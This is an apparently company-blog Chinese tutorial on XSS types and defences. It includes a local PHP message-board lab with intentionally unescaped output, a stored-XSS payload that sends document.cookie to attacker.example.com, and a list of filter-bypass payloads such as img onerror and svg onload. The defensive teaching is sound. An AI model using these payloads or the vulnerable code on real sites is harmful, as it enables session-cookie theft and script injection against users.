恒美微站
首页
关于我们
建站服务
主题模板
案例展示
资讯中心
联系我们
XSS漏洞详解:三种类型与三层防御体系实战
首页
资讯中心
/
XSS漏洞详解:三种类型与三层防御体系实战
XSS漏洞详解:三种类型与三层防御体系实战
发布时间:2026/10/13 10:41:21
1. XSS不是用来干坏事的先给它正名XSS这三个字母在Web开发和安全圈子里提的频率相当高。全称是Cross-Site Scripting中文叫跨站脚本攻击。很多第一次接触它的人第一反应是“这玩意儿是不是很黑客”其实换个视角看XSS更像是一面照妖镜它照出的是你网页代码里那些“用户输入没处理干净”的角落。我见过不少团队功能做得很顺一到安全测试阶段就发现留言板、搜索框、个人签名这些看起来不起眼的地方漏了洞然后才急急忙忙去补。归根结底XSS不是用来干坏事的但你必须懂它怎么防。简单说XSS就是攻击者往你的页面里塞了一段浏览器会执行的脚本。这段脚本不是写在服务器上的而是借用了你网站上某个“会原样回显用户输入”的窗口。比如一个评论功能用户提交的内容被当成HTML直接输出到页面上那么这段内容里夹杂的script标签就会被浏览器当成真正的代码执行。这个过程里你的网站本身没有被动过但访问这个页面的用户却被“代执行”了一段不属于原作者意图的代码。这篇文章适合谁看如果你是前端工程师、后端工程师、全栈开发者或者正在做内部系统的运维与安全建设那这篇东西应该能给你省下不少试错时间。我会把XSS的三种常见形态讲清楚再给出一套从代码层到配置层的防御体系最后用一个本地靶场把“漏洞怎么出现、怎么被触发、怎么修复”完整走一遍。看完之后你至少能回答三个问题我的代码会不会有XSS有的话在哪一类场景下最容易出现修的时候该怎么改才彻底2. 三种XSS形态拆解攻击者的三条“进屋”路线XSS虽然都叫跨站脚本但触发路径差别很大。我习惯把三种类型看成三条不同的“进屋路线”存储型是翻窗进来住下了反射型是敲个门你把他请进来的DOM型则是你信了屋里一张便条自己把门打开的。2.1 存储型XSS恶意脚本藏进了数据库存储型XSS也叫持久型XSS。攻击者把恶意代码提交到服务端服务端把它存进数据库或者文件里后面任何用户访问包含这条数据的页面脚本都会被执行。举个例子一个论坛的原始留言功能攻击者发了一条评论评论正文里带了script标签数据库原样存储前端渲染时又原样输出那每个打开这个帖子的用户浏览器都会执行这段脚本。这个类型的危害是最大的。因为它不挑受害者谁打开页面谁中招而且它不需要攻击者再做什么脚本已经“住”在你的服务器数据里了。常见的高发场景是评论区、用户资料里的个人简介、富文本编辑器、日志展示面板。我之前处理过一个内部管理系统的问题员工在“部门公告”栏目里粘贴了一段带格式的文本恰好系统没有过滤HTML结果公告正文里的脚本在管理员审核页面和员工首页都执行了。虽然影响范围在一个企业内网里但已经足够说明存储型XSS离我们一点都不远。2.2 反射型XSS诱导点击的一次性陷阱反射型XSS的特点是不入库脚本在请求参数里服务端拿到参数后直接拼进了返回页面。攻击者需要诱导用户点击一个精心构造的链接链接的URL里带着恶意参数浏览器把链接发到服务器服务器把参数原封不动地反射回来页面就带着脚本被执行了。典型场景是搜索页面。你搜一个关键词页面显示“你搜索的是xxx”这个xxx如果直接被当成HTML输出就形成了一条反射型XSS链路。攻击者会把这个链接伪装成正常地址发给目标用户看起来像是“你搜索的关键词是”结果页实际上脚本已经在后台悄悄干活了。这个类型的历史地位很高早年很多统计漏洞都是通过这类参数反射发现的。它的防护方式相对容易对所有输出到HTML的变量做上下文感知的转义基本就能堵住。2.3 DOM型XSS浏览器端自己埋下的雷DOM型XSS跟前两种不太一样它的整个攻击过程可能根本没经过服务端。页面里有一段JavaScript读取了URL上的参数、location.hash或者localStorage里的数据然后直接用innerHTML、document.write这类API把内容写进了DOM。攻击者构造一个恶意URL用户访问后前端脚本自己读取恶意参数自己把它渲染成了HTML恶意代码就在这个过程中被执行了。这个类型的隐蔽性很高。因为服务端返回的HTML本身是完全正常的网络层面的安全设备也看不出异常问题全发生在浏览器端的运行时。常见触发点包括SPA应用里读取路由参数做页面标题、单页应用的消息通知组件直接拼接用户昵称、后台系统里用URL参数控制tab切换等。我后来排查这类问题时有个习惯在浏览器控制台里手动改URL参数观察DOM变化比单纯看服务端响应要直接得多。3. 防御体系怎么搭代码、配置、流程三线并行很多人的第一个想法是“我把用户的输入过滤一遍不就行了”。这个思路方向是对的但不能只靠它。XSS防御我建议按三层来做代码层把该转义的转义、该校验的校验配置层把浏览器的安全策略打开流程层用自动化工具和人工复查兜底。3.1 输出转义所有动态内容离开代码前都要过安检输出转义是防XSS最核心、最需要养成的习惯。它的思路是所有要渲染到页面上的动态数据必须根据它的输出位置选择对应的编码方式。如果数据要被输出在HTML标签的文本节点里那就要转义、、、引号这些字符如果是要输出在标签属性里还要额外考虑属性上下文的转义规则如果是要输出在JavaScript字符串里那处理方法又不一样。我自己以前犯过一个典型错误只对和做了替换认为“没有尖括号就构造不了标签”。后来在安全测试里被一个img srcx onerroralert(1)打得怀疑人生——因为我没有考虑属性事件也可以执行脚本。从那以后我统一改成使用成熟的转义库而不是自己写正则去拼。比如PHP里用htmlspecialchars($str, ENT_QUOTES, UTF-8)Java里用框架自带的上下文转义机制前端则尽量使用textContent而不是innerHTML去填充用户数据。3.2 输入校验白名单永远比黑名单靠谱输入校验属于前置防线。使用场景一般是这个字段本身有明确的格式期望。比如年龄字段只允许1到3位数字邮箱字段必须匹配邮箱格式状态字段只能取值enabled或disabled。遇到这类场景直接上白名单校验服务端再做一次同样的校验。白名单的好处是“只能通过符合预期的数据”攻击payload天然进不来。但要注意输入校验不能替代输出转义。原因很简单——你不可能预判所有后续消费场景。同一个用户输入可能被渲染在HTML页面、放在JSON接口里、拼进日志文件每个场景的转义规则都不一样。把输入校验当成第一道门把输出转义当成最后一道闸两层都做好才能算真的稳。3.3 CSP与HttpOnly漏洞堵不住就把伤害压到最低代码写错了、某个历史接口忘了加固这种事情谁都不敢说自己永远不会遇到。所以要有纵深防御的最后一层。CSPContent Security Policy是浏览器提供的一种安全机制通过响应头告诉浏览器“这个页面只允许执行来自哪些来源的脚本、加载哪些来源的图片和样式”。即使攻击者成功注入了脚本只要脚本来源不在白名单里浏览器就会直接拦下来。我给生产环境做CSP时最常用的一条策略是script-src self意思是脚本只允许从同域加载。这个策略对大多数不依赖内联脚本的系统来说防护效果非常明显。HttpOnly是跟Cookie相关的一个属性。只要给关键Cookie尤其是会话标识加上HttpOnly标记document.cookie就读不到这个Cookie的值了。XSS最常见的危害就是偷偷把用户Cookie发给攻击者加了这个标记后这条攻击路径就直接被堵死。在PHP里可以用session_set_cookie_params来设置也可以直接用setcookie时带上httponly参数。3.4 自动化扫描加人工复查上线前的最后一道闸只靠写代码时的自觉总会有漏网之鱼。所以我强烈建议在发布流程里加入自动化扫描这一步。开源的扫描器、商业的Web漏洞扫描平台都可以用它们能在页面渲染层面提交各种恶意payload观察XSS防护是否生效。自动化扫描的优点是覆盖面广、速度很快缺点是某些动态渲染的DOM型XSS它不一定抓得住。所以扫描之外还需要人工对高风险功能做一轮代码审计评论、搜索、资料编辑、文件上传后的预览、报表导出——这些跟用户输入强相关的功能值得一行行看。4. 实操现场搭一个本地靶场完整走一遍攻防光说不练假把式。我平时给团队做安全分享时习惯用一个最小化的靶场来演示XSS从出现到修复的完整链路。下面这个例子只用于自己电脑上的学习验证任何未经授权的测试都是有风险的这点必须先说清楚。4.1 准备一个最小靶场环境我用PHP搭了一个最简单的留言板功能只有两个提交留言、展示留言。用一个文本文件当“数据库”这样整个演示不需要安装数据库把文件放在本地nginx或者Apache的web目录下就能跑。实际线上系统很少会这么写但恰恰是这种“精简到只剩漏洞”的代码最适合看透问题本质。漏洞版本的文件结构如下index.php接收留言并写入文件show.php读取文件并输出留言列表提交留言的代码?php // index.php $message $_POST[message] ?? ; file_put_contents(comments.txt, $message . PHP_EOL, FILE_APPEND); header(Location: show.php);展示留言的代码?php // show.php $comments file(comments.txt, FILE_IGNORE_NEW_LINES); foreach ($comments as $comment) { echo div . $comment . /div; } ?这两段代码的问题很清楚$_POST[message]被原样保存又被原样输出到HTML中中间没有任何转义。整个页面的渲染方式就是“用户给什么页面就展示什么”。4.2 复现存储型XSS触发链路我在留言框里提交了这样一段内容script new Image().src http://attacker.example.com/collect?cookie document.cookie; /script这段代码的真实意图是当其他用户打开show.php时浏览器会执行这条JavaScript把当前用户Cookie中的关键信息发送到指定地址。在实际攻防中攻击者拿到会话信息后可以做的事情远不止“看一眼”所以它的危害才被说得那么严重。注意这个示例里的attacker.example.com就是我随手写的虚构地址仅仅用来演示流程。提交完成后我清空浏览器的历史记录再以“另一个普通用户”的身份打开show.php。页面正常渲染留言内容也显示了出来。但我在开发者工具的控制台里看到了一条被发送到attacker.example.com的请求Cookie信息就在URL参数里。这是一个标准的存储型XSS脚本已经存在了服务器数据里任何访问者都会“中招”。4.3 三处改动完成加固修复修复这个漏洞需要改三处。第一处show.php在渲染留言时做HTML实体转义?php $comments file(comments.txt, FILE_IGNORE_NEW_LINES); foreach ($comments as $comment) { $safe htmlspecialchars($comment, ENT_QUOTES, UTF-8); echo div . nl2br($safe) . /div; } ?htmlspecialchars会把、、、双引号、单引号都转成对应的HTML实体浏览器在解析时就再也不会把它们当成真正的标签或脚本了。之所以要加ENT_QUOTES是因为单引号和双引号都要转如果只转双引号某些属性场景下仍然可能被单引号闭合造成新的注入点。第二处在服务端设置安全相关的响应头。可以在PHP入口文件里统一发送CSP响应头?php header(Content-Security-Policy: default-src self; script-src self; object-src none; base-uri self);这条CSP的意思很明确所有资源默认只从当前域名加载脚本只信任同源脚本不允许内联脚本不允许flash之类的object资源。有了这个响应头哪怕某个页面真的漏了转义、真的注入了标签浏览器也会因为脚本来源不合法而拒绝执行。这一点在真实场景里的兜底价值非常大。第三处给会话Cookie加上HttpOnly和Secure属性。这里以PHP的session_set_cookie_params为例?php session_set_cookie_params([ httponly true, secure true, samesite Lax, ]); session_start();httponly让JavaScript无法读取这个Cookiesecure让它在HTTPS环境下才会上传samesite限制跨站请求携带的时机。这个组合不止防XSS还能有效缓解一部分CSRF跨站请求伪造攻击。三处改动做完之后我重新提交同样的留言页面显示不再出现新的请求记录控制台也没有任何脚本执行痕迹说明这条攻击链路已经彻底闭合了。5. 常见问题与排查技巧实录5.1 过滤了尖括号为什么还是被打穿这是我在实战答疑里遇到过最多次的问题。很多团队的防护策略是把用户输入里的和替换为空字符串或者把script这个词过滤掉。表面上看scriptalert(1)/script确实被干掉了。但攻击者只需要换一种写法就能绕过。比如img srcx onerroralert(1)尖括号和script都不存在了浏览器照样会在图片加载失败时触发onerror里的脚本。再比如用svg/onloadalert(1)、iframe srcjavascript:alert(1)、大小写混合的ScRiPt等等。黑名单过滤的思路本身就是不可靠的因为你永远不知道攻击者还能用什么标签、什么属性、什么编码组合来绕过。正确的做法是放弃黑名单思维统一使用白名单式的输出转义在渲染时让所有用户数据“变成安全的文本”而不是去猜哪些标签可以放行。5.2 DOM XSS自动化扫描扫不出来有一类情况很典型自动化工具扫描了一圈没有发现任何漏洞但安全测试人员手动在浏览器地址栏里改了URL参数页面上立刻跳出了弹窗。原因在于很多工具做的是发送请求、分析响应里的内容而DOM型XSS的问题根本不在服务端响应里。服务端返回的是一个空壳HTML真正出问题的是前端JavaScript拿到URL参数后执行的一系列操作。排查这类问题时我习惯用浏览器开发者工具做这几步先在控制台执行window.location.href看看当前URL里有哪些参数再搜索代码里有没有innerHTML、outerHTML、document.write、insertAdjacentHTML这类高危API最后把URL参数改成一个独特的字符串比如TEST123然后在Elements面板里搜索这个字符串出现在了哪个DOM节点上。如果它出现在某个带事件属性的标签里那这里就是一个DOM型XSS点。修复方式也很简单用textContent代替innerHTML用createElement和appendChild代替字符串拼接。5.3 CSP上线即翻车CSP是好东西但新手上路容易把它写成“业务杀手”。我见过最典型的翻车现场是给系统加了一条default-src self然后线上页面整个变白、样式全丢、图片全挂、接口请求全被拦。原因是这个系统里本来就有很多外部引用的图片、第三方统计脚本、内联的样式代码而CSP默认把这些全部禁止了。正确做法是先上Content-Security-Policy-Report-Only模式让浏览器只报告问题但不实际拦截。这个模式跑上一段时间从上报日志里看清楚这个系统到底引用了哪些外部资源再逐个加到白名单里。等告警数量降下来了再切换成强制模式。比如我常用的过渡策略是这样的Content-Security-Policy-Report-Only: default-src none; script-src self; img-src self data:; style-src self unsafe-inline; connect-src self; report-uri /csp-reportimg-src self data:允许加载同域图片和base64图片style-src unsafe-inline允许内联样式connect-src self限制AJAX请求只能发到同域。这些配置虽然不算最严格但至少能让业务先跑起来再逐步收紧。5.4 富文本场景到底怎么防富文本编辑器的防御难度比纯文本高很多因为编辑器本身就允许用户输入HTML。你不能直接把所有标签转义否则加粗、下划线、图片这些功能全废了。这时候的通用方案是使用白名单式的过滤库比如前端常用的DOMPurify它会把用户提交的HTML解析成DOM树只保留白名单里的标签和属性其他的全部移除。比如b标签会保留script会移除img srcx onerror...里的onerror属性也会被移除。服务端最好也做一遍同样的过滤因为前端过滤可以被绕过接口可以被直接调用。我个人的经验是富文本功能上线前一定要用几组危险样例做回归测试。把img srcx onerroralert(1)、a hrefjavascript:alert(1)点我/a、svg onloadalert(1)这些经典payload逐条粘进编辑器提交后再看展示页面是否弹窗。这些样例可以沉淀成一份固定的安全测试用例集以后每次发版都跑一遍。为了便于快速对照我把几个高频问题和对应思路整理成了一张速查表现象可能原因排查思路过滤了script还是被打穿只做了黑名单替换忽略了其他标签和属性改用白名单转义或过滤库回归测试经典payload自动化扫描无结果人工测试有风险DOM型XSS靠服务端响应分析发现不了在控制台手动改URL参数搜索高危DOM操作API开启CSP后页面样式和图片全丢白名单放行范围不足没有跑兼容性评估先用Report-Only模式收集告警再逐步放行资源富文本存储后显示一堆lt;存储阶段做了过度转义把数据本身污染了存储原始数据只在渲染时做转义用户输入在属性里注入新属性输出到HTML属性时没做属性上下文转义统一使用属性上下文转义函数禁止拼接未处理参数6. 写在最后我的几点真实体会我第一次真正重视XSS是在一次内部系统安全测试时。当时我负责的是一个消息通知模块用户昵称会直接拼接在页面标题里。测试人员提交了一个带事件属性的昵称弹窗就出来了。那一刻我突然意识到安全不是安全团队一个部门的事而是每个写代码的人的日常责任。后来我养成了一个习惯每当写完一段涉及“用户数据 页面输出”的代码都会在脑子里过一遍这个数据从哪来、经过了哪些处理、最终在什么上下文里渲染。这个习惯比起事后补漏洞成本低太多了。如果你现在刚开始接触这块我建议先别急着背各种payload而是先把输出转义和CSP这两件事焊死在你的开发规范里。它们不一定能解决所有安全问题但能挡住绝大多数常见的XSS利用链。后面再遇到更复杂的场景比如富文本、SPA应用、跨域数据共享再基于这条底线逐步扩展防御策略。安全这个东西本质上就是一层层防线叠加出来的结果每多一层攻击者就得绕多一堵墙。